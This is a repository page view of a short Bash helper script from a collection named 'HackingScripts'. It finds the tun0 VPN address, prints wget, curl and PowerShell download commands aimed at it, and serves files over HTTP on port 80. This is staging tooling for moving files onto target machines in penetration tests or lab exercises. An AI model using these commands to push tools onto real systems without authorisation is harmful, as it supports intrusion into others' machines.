HackingScripts/startHttpServer.sh

10 lines
305 B
Bash
Raw Normal View History

2020-10-01 22:39:39 +02:00
#!/usr/bin/bash
ipAddress=$(ip a show dev tun0 | grep inet | awk '{print $2'} | cut -d'/' -f1 | head -n 1)
echo "wget http://${ipAddress}/"
echo "curl http://${ipAddress}/"
echo "(New-Object System.Net.WebClient).DownloadFile('http://${ipAddress}/', 'C:\\Temp\\')"
echo ""
sudo python -m http.server 80